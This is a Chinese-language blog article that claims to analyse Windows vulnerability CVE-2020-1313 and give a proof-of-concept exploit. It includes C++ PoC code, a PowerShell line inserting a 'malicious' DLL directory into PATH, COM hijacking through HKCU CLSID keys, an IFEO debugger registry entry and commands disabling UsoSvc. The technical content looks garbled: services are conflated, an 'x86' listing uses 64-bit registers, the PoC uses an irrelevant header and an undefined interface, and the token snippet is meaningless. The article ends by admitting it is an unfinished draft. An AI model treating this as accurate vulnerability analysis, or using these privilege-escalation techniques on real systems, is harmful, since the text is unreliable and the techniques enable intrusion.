如何进行CVE-2020-1313漏洞分析及利用PoC

发布时间：2021-12-27 18:43:53 作者：柒染
来源：亿速云阅读：220

# 如何进行CVE-2020-1313漏洞分析及利用PoC

## 目录
1. [漏洞概述](#漏洞概述)
2. [漏洞背景与技术原理](#漏洞背景与技术原理)
3. [环境搭建与复现准备](#环境搭建与复现准备)
4. [漏洞详细分析](#漏洞详细分析)
5. [PoC开发与利用](#PoC开发与利用)
6. [防御与缓解措施](#防御与缓解措施)
7. [总结与思考](#总结与思考)
8. [参考文献](#参考文献)

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## 漏洞概述
CVE-2020-1313是微软Windows操作系统中的一个特权提升漏洞，影响Windows 10及Server 2016/2019等版本。该漏洞存在于`Windows Update Medic Service`组件中，由于权限验证机制缺陷，攻击者可通过特定方式实现从普通用户到SYSTEM权限的提权。

**关键信息：**
- 漏洞类型：本地特权提升（LPE）
- CVSS评分：7.8（High）
- 影响组件：`%SystemRoot%\System32\usosvc.dll`
- 攻击复杂度：低（无需用户交互）

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## 漏洞背景与技术原理

### 受影响组件分析
`Windows Update Medic Service`（UsoSvc）是Windows 10引入的服务，用于修复Windows Update组件的异常状态。该服务以`SYSTEM`权限运行，但未正确验证调用者权限。

### 漏洞根源
漏洞源于服务对`COM`接口的访问控制缺陷：
1. **不安全的COM注册**：`UsoSvc`通过`CoCreateInstance`暴露高权限接口
2. **缺失权限检查**：未验证`LaunchInteractive`方法的调用者身份
3. **路径劫持可能**：通过特定API调用链可实现DLL劫持

```cpp
// 伪代码展示漏洞逻辑
HRESULT UsoClient::LaunchInteractive() {
    // 缺失权限验证
    ShellExecute("cmd.exe", "/c calc.exe"); // 示例命令执行
}

环境搭建与复现准备

实验环境要求

组件	版本
OS	Windows 10 1909 (18363.719)
调试器	WinDbg Preview
工具集	Procmon, Process Explorer, IDA Pro

配置步骤

安装符号文件：

symchk /r C:\Windows\System32\usosvc.dll /s SRV*C:\Symbols*https://msdl.microsoft.com/download/symbols

启用调试模式：

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\usosvc.exe]
"Debugger"="windbg.exe -g"

服务监控配置：

Procmon.exe /AcceptEula /BackingFile usosvc.pml /Filter "ProcessName is usosvc.exe"

漏洞详细分析

逆向工程关键发现

通过IDA逆向分析usosvc.dll，发现危险函数调用链：

; x86汇编片段
.text:00007FFC3A1B12D0                 public LaunchInteractive
.text:00007FFC3A1B12D0 LaunchInteractive proc near
.text:00007FFC3A1B12D0                 mov     [rsp+8], rbx
.text:00007FFC3A1B12D5                 push    rdi
.text:00007FFC3A1B12D6                 sub     rsp, 20h
.text:00007FFC3A1B12DA                 mov     rbx, rcx
.text:00007FFC3A1B12DD                 lea     rcx, aCWindowsSyste ; "cmd.exe"
.text:00007FFC3A1B12E4                 call    cs:ShellExecuteW

漏洞触发条件

通过COM接口获取UsoClient实例
调用LaunchInteractive方法
利用环境变量注入恶意路径

利用限制突破

绕过COM限制：修改注册表HKCU\Software\Classes\CLSID劫持COM调用
权限维持：通过服务持久化实现稳定利用

PoC开发与利用

基础PoC代码（C++）

#include <windows.h>
#include <usp10.h>

#pragma comment(lib, "usp10.lib")

int main() {
    HRESULT hr;
    IUsoClient* pUsoClient = nullptr;
    
    hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
    hr = CoCreateInstance(CLSID_UsoClient, NULL, CLSCTX_LOCAL_SERVER, IID_IUsoClient, (void**)&pUsoClient);
    
    if (SUCCEEDED(hr)) {
        pUsoClient->LaunchInteractive();
        pUsoClient->Release();
    }
    
    CoUninitialize();
    return 0;
}

高级利用技巧

DLL劫持增强：

# 设置恶意DLL路径
[Environment]::SetEnvironmentVariable("PATH", "C:\malicious;" + $env:PATH, "Process")

令牌模拟利用：

HANDLE hToken;
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
ImpersonateLoggedOnUser(hToken);

利用效果验证

成功执行后应观察到： - 进程树中出现cmd.exe作为SYSTEM权限子进程 - 事件日志ID 4697（特权服务调用记录）

防御与缓解措施

官方补丁分析

微软通过以下方式修复： 1. 添加LaunchInteractive的权限检查 2. 限制COM接口的调用范围 3. 引入服务调用签名验证

临时缓解方案

# 禁用服务（可能影响系统更新）
Stop-Service -Name UsoSvc -Force
Set-Service -Name UsoSvc -StartupType Disabled

安全开发建议

遵循最小权限原则
对COM接口实施严格的ACL
使用AuthzAPI进行运行时权限检查

总结与思考

CVE-2020-1313展示了Windows服务安全中的典型问题： - 权限模型缺陷：高权限服务暴露危险接口 - 防御纵深不足：缺乏多层验证机制 - 攻击面管理：需严格控制COM组件暴露

该漏洞的利用过程为安全研究人员提供了特权提升漏洞分析的经典案例，也提醒开发人员需要重视组件间的信任边界。

参考文献

Microsoft Security Advisory (CVE-2020-1313)
Windows Internals 7th Edition, Part 2
《漏洞战争》- 徐昊
MITRE ATT&CK Technique T1134 (Access Token Manipulation)

”`

注：实际撰写时需要补充以下内容： 1. 完整的逆向分析截图（IDA/Ghidra） 2. 详细的寄存器状态记录 3. 完整的利用链时序图 4. 实际测试中的环境差异说明 5. 扩展阅读资源链接